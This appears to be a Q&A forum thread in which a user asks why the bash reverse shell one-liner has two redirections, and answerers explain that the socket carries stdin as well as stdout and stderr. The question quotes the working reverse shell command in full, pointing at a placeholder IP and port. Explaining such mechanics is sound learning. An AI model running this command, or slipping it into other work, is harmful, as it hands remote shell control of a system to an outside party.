Why are there two file redirections in the bash reverse shell?

Question

I've been trying to gain a greater understanding of how reverse shells work and I've been deciphering the bash one:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

I understand that the first redirection (>&) redirects stdout and stderr, but why is there a need for the second one?

It's redirecting stdin to the socket as well. – Barmar Mar 07 '22 at 16:00 — Barmar, Mar 07 '22 at 16:00

score 0 · Answer 1 · answered Mar 07 '22 at 16:24

0

This redirects stdin (FD: 0) to come from the socket as well currently on stdout (FD: 1)

answered Mar 07 '22 at 16:24

CY-OD

score 0 · Answer 2 · answered Mar 08 '22 at 01:43

0

It connects standard input and standard output to the same device. This allows two-way communication to the host where the shell is running.

See this article for details.

answered Mar 08 '22 at 01:43

l0b0

1

So, bash sends stdout and stderr to the tcp socket (first redirection:>&), then stdin is redirected to where stdout is already going (second redirection:0>&1)? – MrRed Mar 09 '22 at 13:04

2 Answers2